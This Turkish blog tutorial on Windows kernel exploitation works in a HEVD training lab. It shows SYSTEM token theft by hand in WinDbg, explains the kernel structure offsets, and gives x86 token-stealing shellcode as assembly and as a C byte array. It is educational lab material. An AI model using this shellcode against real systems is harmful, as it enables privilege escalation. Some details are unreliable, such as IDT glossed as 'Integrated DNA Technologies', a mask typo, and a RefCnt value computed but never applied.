Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı

Herkese selamlar,

WKE ile ilgili ilk yazımda lab ortamının nasıl kurulcağından, ikinci yazımda ise yine lab ortamımla ilgili olarak HEVD sürücülerinin nasıl yüklenebileceğinden bahsetmiştim.

1- Windows Kernel Exploitation – Lab ortamını kurma ve ilk erişim
2- Windows Kernel Exploitation 2 – HEVD Kurulumu

Bu yüzden lab ile ilgili bir sorunumuzun olduğunu düşünmüyorum. Bu seride işlem belirteçlerini (process token) kullanarak ayrıcalık yükseltmelerinden bahsedeceğim. Daha sonrasında da Shellcode yazımı olacak.

Kd kullanarak SYSTEM Token’ı çalma

kd> !process 0 0 system
PROCESS 842c8020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89001cf8 HandleCount: 522.
Image: System

Gerekli bağlantıyı sağladıktan sonra, Windbg tarafından bizlere sağlanan !process uzantısıyla, yapılandırılmış işlemlerin birini yada tamamının bizlere gösterir. !process 0 0 system komutuyla da temel bilgilere erişebiliyoruz.

Yukarıdaki çıktıda gördüğümüz üzere çekirdekteki (Kernel) _EPROCESS yapısının System adlı işlemin adresini sızdırıyor. Dt komutu kullanarak daha fazla bilgiye ulaşabiliriz.

kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d58dbd`22a004d0
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
.........................................................
+0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x89001cf8 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
.........................................................
+0x26c LastReportMemory : 0y0
+0x26c ReportPhysicalPageChanges : 0y0
+0x26c HandleTableRundown : 0y0 .........................................................

Yukarıdaki çıktıdanda görebileceğiniz üzere Ox0f8 offset değerine sahip olan Token’ı görüyoruz. Token ile ilgili biraz daha fazla detaya ulaşmak içinde dt nt!_EX_FAST_REF komutunu kullanıyoruz

dt nt!_EX_FAST_REF [ EPROCESS adresi] + [Token’a ait offset değeri]

kd> dt nt!_EX_FAST_REF 842c8020+f8
+0x000 Object : 0x89001446 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x89001446

Yukarıdaki çıktıya baktığımızda Token, iki alana sahip olan _EX_FAST_REF birleşiminde toplanır; birincisi ReCnt (reference counter), ikincisi ise Value (Değer)’dir.

kd> dt nt!_TOKEN 842c8020
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x842c8f28`00000000
.......................................
+0x0ac TokenFlags : 0
+0x0b0 TokenInUse : 0 ”
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 0x8494f0d8
+0x0bc LogonSession : 0x8293c368 _SEP_LOGON_SESSION_REFERENCES
..............................................
+0x1dc VariablePart : 0

Windbg’nin bize sağladığı !TOKEN uzantısıyla çok daha ayrıntılı bilgilere sahip olabiliriz.

Genel itibariyle yukarıda nasıl system token alacağımız ile ilgili olarak izleyeceğimiz yol diyebilirim. Yapacağımız işlemi basitçe anlatmak gerekirse debugee makinemizde cmd.exe adında yeni bir işlem oluşturup, bulduğumuz token’i sistem token değerinin üzerine yazarsak eğer işlemimiz sistem olarak algılanacaktır.

Çalışan bir işlemin TOKEN’ını alma

kd> !dml_proc
Address PID Image file name
842c8020 4 System
8494f020 f8 smss.exe
84ef1d40 148 csrss.exe
..............................
84fb5d40 24c svchost.exe
84fc08f8 288 VBoxService.ex
84fc8700 2c0 svchost.exe
84fe7d40 310 svchost.exe
..............................
855017d8 8e0 svchost.exe
8555d858 980 WmiPrvSE.exe
855815b0 9d4 cmd.exe
8557f980 9dc conhost.exe
855899f8 b68 dllhost.exe

İlk olarak debugee makinemizde cmd.exe’yi çalıştırıyoruz. Daha sonra windbg üzerinde !dml_proc uzantısını çalıştırarak, debugee makinemizde çalışan işlemleri adres değerleriyle birlikte görebiliriz.

Not: Normalde, debugee makinemizde açtığımız cmd.exe’ye ait process adresine ulaşabilmek için yazının başında yaptığımız gibi !process 0 0 cmd.exe komutunu da kullanabiliriz.

kd> !process 855815b0
PROCESS 855815b0 SessionId: 1 Cid: 09d4 Peb: 7ffdf000 ParentCid: 01dc
DirBase: 063c5000 ObjectTable: 9a5ea340 HandleCount: 21.
Image: cmd.exe
VadRoot 85567c60 Vads 37 Clone 0 Private 116. Modified 0. Locked 0.
DeviceMap 90bcb380
Token 89001440
ElapsedTime 00:33:42.864
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 36624
QuotaPoolUsage[NonPagedPool] 2220
Working Set Sizes (now,min,max) (574, 50, 345) (2296KB, 200KB, 1380KB)
PeakWorkingSetSize 574
VirtualSize 33 Mb
PeakVirtualSize 33 Mb
PageFaultCount 609
MemoryPriority FOREGROUND
BasePriority 8
CommitCharge 400

……………………………………………………………………………………….
………………………….
………………
……

Bunun haricinde cmd.exe ile ilgili daha fazla detaya ulaşabilmek için aşağıdaki komutu da kullanabilirsiniz.

!process [EPROCESS adresi]

kd> dt nt!_EX_FAST_REF 842c8020+f8 --> System Address+Token Address
+0x000 Object : 0x89001443 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x89001443
kd> dt nt!_EX_FAST_REF 855815b0+f8 --> CMD address+Token address
+0x000 Object : 0x9a6ca031 Void
+0x000 RefCnt : 0y001
+0x000 Value : 0x9a6ca031
kd> ?89001443&0xffffffff8 --> System Value+
Evaluate expression: 66722993216 = 0000000f`89001440
kd> ?9a6ca031&0xfffffff8 --> Cmd Value
Evaluate expression: -1704157136 = 9a6ca030
kd> ?89001440 | 0y001 System Object + cmd Refcnt
Evaluate expression: -1996483519 = 89001441
kd> ed 855815b0+f8 89001441
kd> dt nt!_EX_FAST_REF 855815b0+f8
+0x000 Object : 0x89001441 Void
+0x000 RefCnt : 0y001
+0x000 Value : 0x89001441

Not: Token’a ait offset değeri 0x0f8 dir

Yukarıda debugee makinemizde çalışan tüm işlemleri listelemiştik. Burada bizi en çok ilgilendiren kısım ise system.exe ve cmd.exe‘ye ait olan token’lar oluyor. Çünkü bu adımda system.exe‘ye ait olan token’ı cmd.exe içerisine kopyalıyoruz.

Daha sonra ise debugee makinemizde kontrol ettiğimizde, yetkili olduğumuzu görebiliyoruz.

Shellcode için gerekli bilgileri edinme

Bu kısımda ise son bölümde windbg üzerinden yaptığımız işlevi, shellcode üzerinden yapacağız. Bu yüzden Windbg’ı sadece ihtiyacımız olan bilgileri almak için kullanacağız ve gerekli bilgileri elde edip, harmanladıktan sonra gerekli ShellCode’a oluşturmuş olacağız.

Öncelikli olarak bizim işletim sistemi içerisinde çalışan işlemleri incelememiz ve bunları da shellcode içerisinden yapmamız gerekiyor. Bu yüzden ilk olarak EPROCESS yapısının başlangıcını bulmamız gerekiyor.

Genel Payload örneği

Çünkü işletim sistemi mimarisinde hemen hemen her bir işlem EPROCESS yapısı içerisinde tanımlanıyor. Bu yapı içerisinde inceleyeciğimiz işlemlere ait hafıza alanları vs gibi tüm bilgilere ulaşabiliyoruz. Sistem içerisindeki çalışan işlemleri inceleyebilmemiz için bu işlemlerin tutulduğu herhangi bir yere erişim sağlamamız gerekiyor. Bu yüzden başlangıç noktası olarak Windows x86 mimarisinde FS kaydının (FS register) işaret ettiği KPCR (Kernel Processor Control Region) yapısını kullanacağız. (x64 içerisinde GS olarak geçiyor).

Örnek olarak HackSysExtremeVulnerableDriver tarafından bize örnek olarak sunulan payload örneğine bakabiliriz. Örnekte belirtilen tüm PID, Token vs gibi değerlere, nasıl ulaşacağımızla ilgili olarak;

KPCR (Kernel Processor Control Region)

KPCR, Çekirdek İşlemci Kontrol Bölgesini temsil eder. KPCR, çekirdek (kernel) ve HAL tarafından paylaşılan CPU başına bilgi içeriyor. Ve sistemde mevcut CPU kadar KPCR vardır. Şu şekilde de tanımlarsak eğer “Windows işletim sistemi içerisinde, sistem içerisinde bulunan her cpu başına bir KPCR vardır.” diyebiliriz

kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
....................................
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
....................................
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
....................................
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB

Yukarıdaki çıktıdan görebilceğimiz üzere aslında uğraşılabilecek pek çok veri yapısı bulunuyor. Fakat bizim burada ilgilendiğimiz Ox120 offset değerine sahip PrcbData’dır. Prcb de Windows içerisindeki önemli veri yapılarından biridir.

Mark Russinovich’in Windows Internal kitabındaki tanımlamaya göre; PCR ve PRCB, sistem içerisindeki mevcut IRQL (Interrupt Request Level), IDT (Integrated DNA Technologies) donanımı için bir işaretçi, çalışmakta olan bir işlem parçacığı ve bir sonraki çalıştırılacak olan işlem parçacığı gibi sistemdeki herbir işlemcinin durumu hakkında bilgi verir.

KPRCB (Kernel Process Control Block)

kd> dt nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 LegacyNumber : UChar
+0x011 NestingLevel : UChar
+0x012 BuildType : Uint2B
+0x014 CpuType : Char
+0x015 CpuID : Char
+0x016 CpuStep : Uint2B
+0x016 CpuStepping : UChar
+0x017 CpuModel : UChar
+0x018 ProcessorState : _KPROCESSOR_STATE
+0x338 KernelReserved : [16] Uint4B

KPCR’den Çekirdek işlemci kontrol bloğu hakkında bilgi edinebiliriz. Bu kısım bizim açımızdan önemlidir çünkü bize işlemcinin yürüttüğü iş parçacığı için KTHREAD yapısının konumunu verecek.

Yukarıdaki çıktıda odaklanacağımız kısım 0x004 offset değerine sahip olan KPRCB.CurrentThread olacaktır. Ve şuanda çalıştırılan iş parçacığını temsil eden KTHREAD veri yapısına ulaşabilmek için; ” PrcbData (Ox120) + CurrentThread (0x004) = 0x124

KTHREAD (Kernel Thread)

kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void
+0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit
………………………………….
+0x040 ApcState : _KAPC_STATE
………………………………….
+0x1e8 MutantListHead : _LIST_ENTRY
+0x1f0 SListFaultAddress : Ptr32 Void
+0x1f4 ThreadCounters : Ptr32 _KTHREAD_COUNTERS
+0x1f8 XStateSave : Ptr32 _XSTATE_SAVE

KTHREAD veri yapısı, kendisinden daha büyük olan ETHREAD veri yapısına bağlıdır ve ETHREAD yapısının ilk bölümünü oluşturmaktadır. Ve hali hazırda yürütülmekte olan iş parçacıkları hakkında bazı low-level bilgiler barındırır.

Yukarıdaki çıktıdan yine görebileceğiniz üzere pek çok bilgi yer almaktadır fakat bizim amacımız KAPC_STATE yapısı içerisinde bulunan 0x040 offset değerine sahip olan  KTHREAD.ApcState‘dir.

KAPC_STATE

kd> dt nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar

Her bir iş parçacığı, ilişkili olduğu işlemi izler ve bunuda KAPC_STATE içerisinde gerçekleştirir. Bu bizim açımızdan yararlıdır çünkü buradaki amaç process’i elde edip, sonrasında da belirtecini (token) bulmaktır.

İstediğimiz process’i elde edebilmek için; ApcState (0x040) + Process (0x010) = 0x050

Mevcut çalışan işlem yapısını alma (GetCurrentProcess)

Windows işletim sistemi içerisinde yapıları işlemek için işaretçiler (pointers), iki kat bağlantılı bir listede saklanır. Eğer elimizde bir işlemin adresi varsa, diğerlerini de keşfetmek için aşağı-yukarı kaydırma yapmamız yeterli olacaktır. Fakat öncelikli olarak çekirdekteki bir işlemin adresini almış olmamız gerekiyor.

kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
828a9f6e 64a124010000 mov eax,dword ptr fs:[00000124h]
828a9f74 8b4050 mov eax,dword ptr [eax+50h]
828a9f77 c3 ret

nt!GetCurrentProcess komutu ile mevcut çalışan işlemin adresini almış oluyoruz. Toplam üç satırdan olan bu çıktıdaki ilk iki satırdan shellcode’u yazarken yararlanacağız.

EPROCESS

Bu adımımızda ise EPROCESS yapısındaki UniqueProcessId, ActiveProcessLinks ve Token’ı elde edeceğiz.

kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
………………………….
+0x0f8 Token : _EX_FAST_REF
…………………………..
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

Öncelikli olarak UniqueProcessId‘in PID değerini bulmamız gerekiyor. İsimdende anlaşılacağı üzere mevcut çalışan işlemin PID değerini içeriyor. Çok uzun zamandır 4 değeri ile belirtiliyor ama isteyen kişiler Task Manager‘dan bu bilgiyi rahatça teyit edebilir.

İkinci olarak EPROCESS.ActiveProcessLinks‘den bahsetmek gerekirse sistem içerisindeki her aktif işlemin EPROCESS yapısındaki ilgili ActiveProcessLinks listesinin adreslerini içeren iki kat bağlantılı listedir. Ayrıca ActiveProcessLinks alanının bir LIST_ENTRY veri yapısı olduğunu da görebiliyoruz.

Üçüncü olarak Token’ın EX_FAST_REF veri yapısı olduğunu görüyoruz. Bu veri yapısına baktığımızda;

kd> dt nt!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, 3 Bits
+0x000 Value : Uint4B


Buradaki ReftCnt’a ait olan 3 bits’i bir yere not ediyoruz. Çünkü shellcode’u yazarken bunu da kullanacağız.

Shellcode Yazımı

Shellcode için gerekli bilgileri edinmiş bulunmaktayız. HEVD’in bize örnek olarak verdiği Shellcode’lardan birini model olarak alabiliriz. Daha sonrasında küçük bir düzenleme ile istediğimize ulaşmış olacağız.

[bits 32]

start:
pushad
mov eax, [fs:0x124]
mov eax, [eax + 0x050] ;
mov ecx, eax ;

mov edx, 0x4 ;
search_system_process:
mov eax, [eax + 0x0b8] ;
sub eax, 0x0b8 ;
cmp [eax + 0x0b4], edx ;
jnz search_system_process

mov edx, [eax + 0x0f8] ;
mov edi, [ecx + 0x0f8] ;
and edx, 0xFFFFFFF8 ;
and edi, 0x03
mov [ecx + 0x0f8], edx ;

popad
xor eax, eax
pop ebp
ret 8

ShellCode’u Derleme

Bu adıma kadar adımlarımızı tamamladıktan sonra yazdığımız Shellcode’u derlememiz gerekiyor. Açıkcası bunun için NASM veya YASM gibi uygulamalardan yararlanabiliyoruz. Ben NASM’ı kullanıp, gerekli derleme işlevini yaptıktan sonra, ortaya 1 KB’lik dosya çıkıyor. Ortaya çıkan dosyayı HxD yardımıyla birlikte açıp, daha sonra Edit->Copy As kısmına gelip -hangi dil ile yazmayı düşünüyorsanız- seçim işlemimizi yapıyoruz. Mesela C dili için seçtiğinizde aşağıdaki sonuç çıkmış olacak.

unsigned char rawData[67] = {
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x03, 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00,
0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
};

Sonuç

Sonuç olarak HEVD alıştırmalarının ilkini gerçekleştirdim. Bunu yaparken de elimden geldiğince Windows Internals’lar ile ilgili de yararlı bilgiler, artı olarak Shellcode yazımıyla ilgili ayrıntıları da vermeye çalıştım diyebilirim.

HEVD ile ilgili serimi elimden geldiğince devam ettirmeye çalışacağım.

Bakıp, göreceğiz tabi ki…

Referanslar

1- CodeMachine – https://www.codemachine.com/article_kernelstruct.html

2- https://github.com/hacksysteam/HackSysExtremeVulnerableDriver